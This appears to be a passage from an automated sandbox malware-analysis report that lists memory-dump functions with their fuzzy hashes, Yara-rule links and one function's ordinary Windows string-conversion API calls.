Opcode Fuzzy Hash: 38161417ac906b806cfc22db094ea2a8fd5887fec52bcdd9a2986764c41f403c
Instruction Fuzzy Hash: 08413770D052598FDB58CFAAD8406EEBBF2BF89304F60D06AD418BB264EB340946CF50

Function 06420DF8 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2957c88a490d73eecfb21b35c2ea4bafde7cd7c232a8f0d73d8f984f0782bb42
Instruction ID: 95ce408a6365b9a39d5b4741f746147605efd13ef69fb2d497987a73e42006dc
Opcode Fuzzy Hash: 2957c88a490d73eecfb21b35c2ea4bafde7cd7c232a8f0d73d8f984f0782bb42
Instruction Fuzzy Hash: 9C410470E052598BEB58DFAAC8406DEFBF2AF89300F64D02AD418BB358DB345946CF54

Function 06421291 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0468aca590f516fb821141d9fa41794c9cbd4ba95a929e66928a8b18744f3537
Instruction ID: 878a6367cdeaf81d206d3f383d633e9985c718916629868e1d21f644e3961398
Opcode Fuzzy Hash: 0468aca590f516fb821141d9fa41794c9cbd4ba95a929e66928a8b18744f3537
Instruction Fuzzy Hash: 3041E470E052588FEB58DFAAC8506DEFBF2AF89300F64D02AD508BB254EB345946CF54

Function 06423BAA Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e284305f2e1987c885cc3416bbf619095003813f473d557600543d7f6278ec56
Instruction ID: afa071bf067de1bd51a9596b16b4505e05036acd1d6550773fe87a5469c4fb50
Opcode Fuzzy Hash: e284305f2e1987c885cc3416bbf619095003813f473d557600543d7f6278ec56
Instruction Fuzzy Hash: 61411970D012588BEB59DFAAC8506DEFBF2AF89300F60D02AD418BB354DB385946CF40

Function 064224B1 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87c4314e359bdc10acb5f9baeb3c51777ce46f682b296051281a7d0cca995fc4
Instruction ID: 73a39144a46bbc92d96e366001069dfb2a8b1ffee8b5b08fd9fccc2994bcedb8
Opcode Fuzzy Hash: 87c4314e359bdc10acb5f9baeb3c51777ce46f682b296051281a7d0cca995fc4
Instruction Fuzzy Hash: 91410770E002588BEB48DFAAC8506DEFBF2BF89304F60D02AD458BB258DB744946CF54

Function 0642294A Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45958b1a5949ee92d1c32876921046df0f402f075e7a83748d13ad1d94a8f694
Instruction ID: d45218fcce7dcc465ed3790fb16a3d0e473c43ef51b3514c216f0a9c525d6646
Opcode Fuzzy Hash: 45958b1a5949ee92d1c32876921046df0f402f075e7a83748d13ad1d94a8f694
Instruction Fuzzy Hash: 1741F470E00219CBEB48DFAAC8406DEFBF2AF89300F60D02AD419BB254DB745A46CF54

Function 0642B360 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50479ec0d43f9e82e85ad6dec251d540608d2f92039404418ba9f350132bb72b
Instruction ID: 260f915d4266db4543edfbbdc915df602a75114e60972fedb65e1b15b0830052
Opcode Fuzzy Hash: 50479ec0d43f9e82e85ad6dec251d540608d2f92039404418ba9f350132bb72b
Instruction Fuzzy Hash: 2741F170E01219CFEB58DFAAD84469EBBF2FF89304F64D06AD418AB254EB345942CF54

Function 0642327A Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52bc53c5267fb0220d987bb34c8eb62f6aee9c6e0d579c3766b998dd2c93e5e8
Instruction ID: 60089d4fbc55766534904e0134287fdfe26ac320c06307ef2c3dfbc034eeddf0
Opcode Fuzzy Hash: 52bc53c5267fb0220d987bb34c8eb62f6aee9c6e0d579c3766b998dd2c93e5e8
Instruction Fuzzy Hash: 9941F570D002588BEB59DFAAC8506DEFBB2AF89300F60D02AD408BB354DB385946CF54

Function 06429B78 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d221885ae7ded9a752318edd8f3b02a708c86808270850aaecefc6fd4d04ad74
Instruction ID: 78282b0b10d7f2eeb76cb32f7915521236126c232df17ba4fb5e7b4b334ae596
Opcode Fuzzy Hash: d221885ae7ded9a752318edd8f3b02a708c86808270850aaecefc6fd4d04ad74
Instruction Fuzzy Hash: B541F370E002188FDB98DFAAD8446DEBBF2BF89304F64D06AD418BB254EB355946CF54

Function 0642ECC0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3308bf020f2f36c2f879f88ebf242473eff056863abca130eb8d6fec4309baf9
Instruction ID: 5725ad11d265aca07432b41f9d08b3d1bb7c95f48d9388412868c16a804ed6e1
Opcode Fuzzy Hash: 3308bf020f2f36c2f879f88ebf242473eff056863abca130eb8d6fec4309baf9
Instruction Fuzzy Hash: 604115B0D002198FDB58DFAAD8506EEBBF2BF89300F64D06AD419BB254EB344946CF50

Function 06421BC1 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 092121d7ef4d6235ea161a7bc9eea4485c3cbe16bf83f923f246e52610dc40ae
Instruction ID: ffb377bc89b3a90f036c84217c5fe1830568d14412f9bb3bf13920ec1b629ab4
Opcode Fuzzy Hash: 092121d7ef4d6235ea161a7bc9eea4485c3cbe16bf83f923f246e52610dc40ae
Instruction Fuzzy Hash: F941F674D012188BEB58DFAAC8506DEFBF2AF89304F60D02AD519BB354EB345946CF54

Function 06427070 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a08f1c25888d4ef5d30f1127101ea2fe16c77eda48a364c2e50f2c39889f0db3
Instruction ID: 66b22dd356d5a7c2186cbff3647127ad7160899a17a256de32ebab4934e9061e
Opcode Fuzzy Hash: a08f1c25888d4ef5d30f1127101ea2fe16c77eda48a364c2e50f2c39889f0db3
Instruction Fuzzy Hash: 4B413470E012198FDB58DFAAD8446AEBBF2BF89300F60D06AC018BB354EB341942CF54

Function 0642A042 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c9a37381915ab7f80dec581c05207f521cb70293307cdf3093dfaf1175f468f
Instruction ID: 23e2c613765bb6c16099100c00349c69b37e511f7fe9252f616020245243fd8b
Opcode Fuzzy Hash: 7c9a37381915ab7f80dec581c05207f521cb70293307cdf3093dfaf1175f468f
Instruction Fuzzy Hash: 3741E370D012198FDB58DFAAD8447AEBBF2BF89300F64D06AD418BB254EB345982CF54

Function 06424042 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1618d90ec43f2bf2e789245409569b2a02697ee7df0762780ca359f2b5bc10a
Instruction ID: 16685ca2c81eb0e8263ac722f49f4290f1109a3cb672ced9db197ef9a7dd8d9c
Opcode Fuzzy Hash: a1618d90ec43f2bf2e789245409569b2a02697ee7df0762780ca359f2b5bc10a
Instruction Fuzzy Hash: 0B41E670E042588BEB58DFAAC8406DDFBF2EF89300F64D06AC458AB258DB345946CF44

Function 06425741 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74093c3b503def3f4d33e9a292566187a57da1be22ffc973624c8e7e08012979
Instruction ID: 43a0cc553fad4820d73cd6343effdde67cd917b586041246c08fa8d5eb515b95
Opcode Fuzzy Hash: 74093c3b503def3f4d33e9a292566187a57da1be22ffc973624c8e7e08012979
Instruction Fuzzy Hash: 9841E570E012598BEB48DFAAC8506DEFBF2AFC9300F64D02AD419BB254EB345946CF50

Function 0642CB48 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a14d626f7853115dd6753e67e249f5e0771d3297662874c1bc9d303677b53b06
Instruction ID: 9a473a6a0d4449fb18265aa55b6881212e183db033e4080d0ec9ce9336881fa0
Opcode Fuzzy Hash: a14d626f7853115dd6753e67e249f5e0771d3297662874c1bc9d303677b53b06
Instruction Fuzzy Hash: 39410670E012198FDB98DFAAD8946EEBBF2BF89300F20D06AD418B7254DB344942CF40

Function 06427A02 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f797e0e5604691f02e8908cba17a2407da3f10bdb2bbd99f6b0cc5300e50d927
Instruction ID: f57f1bcd7e296e6c716d339d0bf246c1f3b7ad89dcbdfb26fc82a88b57af01c0
Opcode Fuzzy Hash: f797e0e5604691f02e8908cba17a2407da3f10bdb2bbd99f6b0cc5300e50d927
Instruction Fuzzy Hash: CC41F474D012198FDB58DFAAD8446DEBBF2BF89310F60D06AD418AB364EB345942CF54

Function 064252A2 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9921f6eb4920bf8b099a86ae350137e775de530c69f157ccc0af221ffd5fff42
Instruction ID: c20d51ae54f6102a9961eff7e63ea991d60e99b29fc3abd27cf66e2c532fc286
Opcode Fuzzy Hash: 9921f6eb4920bf8b099a86ae350137e775de530c69f157ccc0af221ffd5fff42
Instruction Fuzzy Hash: 8D41F670E012588BEB58DFAAD8506DEFBF2BF89300F64D02AD419BB254EB345946CF54

Function 06428D21 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ccc6fcb2b8e69d11b0a86b874b5960df87a16a0ef44af7c9b8524fde6c2022c
Instruction ID: 55a518543300f2b1a226dddf7e717c24b07fdbf898c166d01c5990c423575ed2
Opcode Fuzzy Hash: 9ccc6fcb2b8e69d11b0a86b874b5960df87a16a0ef44af7c9b8524fde6c2022c
Instruction Fuzzy Hash: 83410770D012198FEB58DFAAD8446DEBBF2BF89300F60D16AD418BB254EB345946CF54

Function 0642A9D1 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54e62d8da333ec9022c5798f85f16a00cc835cd83be14191b50816c427becb46
Instruction ID: f614565e056fd43031ede99f8f95a897cae0a5ad6d10803a79625cc59916efe4
Opcode Fuzzy Hash: 54e62d8da333ec9022c5798f85f16a00cc835cd83be14191b50816c427becb46
Instruction Fuzzy Hash: 3C41D270D012198FDB58DFAAD9406EEBBF2AF89300F64D06AC459BB254DB344982CF54

Function 0642F189 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdcbce1e4f136c905366ce05715e38f522beb779d65d3eddb6760424839694cd
Instruction ID: 5a19d6880c6aff3ac270f1005d2906878b23e1734fc48e0a3c4d425415840dde
Opcode Fuzzy Hash: fdcbce1e4f136c905366ce05715e38f522beb779d65d3eddb6760424839694cd
Instruction Fuzzy Hash: 9841E5B4D012188FDB98DFAAD9446DEBBF2BF89300F64D06AD418BB254EB344946CF50

Function 06428390 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b296074929e3845a208cf8fbe63883e7449ea23992d064df6357da13aeefc74
Instruction ID: b2e8fb5fe2ce38793fe75354e2594c6b1d414b91dd12a934cb0bea41dccaba23
Opcode Fuzzy Hash: 6b296074929e3845a208cf8fbe63883e7449ea23992d064df6357da13aeefc74
Instruction Fuzzy Hash: 9441E070E012198FDB98DFAAD84469EBBF2BF89304F60D06AD418AB354EB344946CF54

Function 0642AEA2 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89de6712b28a9a1acc8cb709ba41167e87806d66e1351b5324962fb2d3c2d4a5
Instruction ID: 3e38df1172db04632d0de2c262004a25024b29f364fa47184a061ee9bb74a82f
Opcode Fuzzy Hash: 89de6712b28a9a1acc8cb709ba41167e87806d66e1351b5324962fb2d3c2d4a5
Instruction Fuzzy Hash: 6C41E470E002188FDB58DFAAD84069EBBF2BF89304F64D06AD418BB254EB345942CF50

Function 0642F651 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d2eb65d09d1c6bca23a28a7b1f8c60a64b068bed14991dd8e47e0f0100478c1
Instruction ID: e605651c668d23cde52f59410dc830f5f30a4597c13228eb7078f3b51b57f12d
Opcode Fuzzy Hash: 8d2eb65d09d1c6bca23a28a7b1f8c60a64b068bed14991dd8e47e0f0100478c1
Instruction Fuzzy Hash: E441D2B0D002198FDB98DFAAD8546DEBBF2BF88300F64D06AD419BB254EB345946CF50

Function 0642C682 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a34165d804324ffcbed582fb476a18119eabcaf878f3a28e930234dc04550e8
Instruction ID: 8c0662d39672bea78b8a4083faba464beaf79fc3eafd1ed0aa398810ff92ca85
Opcode Fuzzy Hash: 2a34165d804324ffcbed582fb476a18119eabcaf878f3a28e930234dc04550e8
Instruction Fuzzy Hash: 7141E774E012198BDB98DFAAD8847EEBBF2BF89300F60D06AD019B7254DB344942CF54

Function 064296B0 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed97abcccb85efa34678f70f72569405d6341ecfd3adae9400b9c338c87b1281
Instruction ID: 4c4318d3e46fd25e26dababa5e57ac7ebc1c4736f76329b38ffb5f776edbee0d
Opcode Fuzzy Hash: ed97abcccb85efa34678f70f72569405d6341ecfd3adae9400b9c338c87b1281
Instruction Fuzzy Hash: D741DF70E012198BEB58DFAAD8446DEFBF2BF89300F64D06AD458AB254EB345942CF54

Function 064291E8 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47158eb4d556e00698e36c99750b555d04763c039d9171da8becc73b98efe10a
Instruction ID: 00518ad2dd2ded66d94bf7bda7ffbd024b294c51f6cee2dbb2a961e1be27c6f6
Opcode Fuzzy Hash: 47158eb4d556e00698e36c99750b555d04763c039d9171da8becc73b98efe10a
Instruction Fuzzy Hash: AF410270E002588FDB58DFAAD8446DDBBF2BF89300F64D06AC458BB254EB344942CF50

Function 06428858 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12ba3891ba31a4e16b3e75ef087d61a5d57a1bed809471f5de75a19bdda90fc5
Instruction ID: 89f360260360385a238c9ca47ad3cdbab33cb4b0524558f2c77a0f4da60428e0
Opcode Fuzzy Hash: 12ba3891ba31a4e16b3e75ef087d61a5d57a1bed809471f5de75a19bdda90fc5
Instruction Fuzzy Hash: 0D41F370E012198FDB98DFAAD8446EEBBF2BF88300F64D16AD419BB254DB344946CF50

Function 0642D016 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad994ca9475e246de8e633601e1817e50eb6b414b434deb49be36607451cf660
Instruction ID: fed0dfde9c4a22fc0ead3f76f1e7c065d09b198f949778fc645d297bb98bf688
Opcode Fuzzy Hash: ad994ca9475e246de8e633601e1817e50eb6b414b434deb49be36607451cf660
Instruction Fuzzy Hash: 2041E270E002188BDB58DFAAD8546EEBBF2BF89304F64D06AC458BB254DB345942CF54

Function 0642A508 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b4098fb191d0bc5fb5d1496bc56ccd332612923ec7c656dd9cc23807976d787
Instruction ID: bf8da986625960f87865a13c490bf51c52f0cadc838bcce8029ead742a44da92
Opcode Fuzzy Hash: 9b4098fb191d0bc5fb5d1496bc56ccd332612923ec7c656dd9cc23807976d787
Instruction Fuzzy Hash: E141E4B0E002198FDB48DFAAD84069EBBF2BF88300F64D02AC418BB254EB345942CF54

Function 0642D4E3 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29d277637478676529a2a161253ef2829b5c276555fb92d920ea7424903b78f1
Instruction ID: f31a3d82e87de9a0b43fd2cf3efb37fa4ee7a93d1255b9646179be11894e96b7
Opcode Fuzzy Hash: 29d277637478676529a2a161253ef2829b5c276555fb92d920ea7424903b78f1
Instruction Fuzzy Hash: B741E470E012198FDB58DFAAD8546EEBBF2BF89300F20D02AD419BB254DB345942CF50

Function 0642DE75 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c463231dfb9fe0eb5a781659154f1ff1a92e81e8bc840313c352d939ebaa0519
Instruction ID: 856ff8d8b0f596b97c1598a95e057620ab31696abd3824c514a8b42fceb75eea
Opcode Fuzzy Hash: c463231dfb9fe0eb5a781659154f1ff1a92e81e8bc840313c352d939ebaa0519
Instruction Fuzzy Hash: EC41E2B4E012198FDB58DFAAD8546DEBBF2BF88300F64D02AD419BB254EB345942CF54

Function 0642D9AD Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd6d47167a3f825d0443dacbc833b1210463a0d6dd9cbe3292a98e9cc21915d6
Instruction ID: 40fb40d492912b327109a1a16acf3e5601244392e81b3aa37383e2dd6902bd4f
Opcode Fuzzy Hash: dd6d47167a3f825d0443dacbc833b1210463a0d6dd9cbe3292a98e9cc21915d6
Instruction Fuzzy Hash: 0B41E270E006198BDB58DFAAD8447AEBBF2BF88300F64D06AD419BB254EB345946CF40

Function 06422067 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f088d2ad207b96eb18c9596e8286df230ca354b3865258b3392a3f2100d395bf
Instruction ID: 75d3859378c22f1f9d325681772cb216e0dbea545284c0c84d708579b2f1e39d
Opcode Fuzzy Hash: f088d2ad207b96eb18c9596e8286df230ca354b3865258b3392a3f2100d395bf
Instruction Fuzzy Hash: AA41F774E01219CBDB58DFA6D9506EEBBF2AF89300F64D02AC419BB354DB345A46CF40

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,021C1910), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
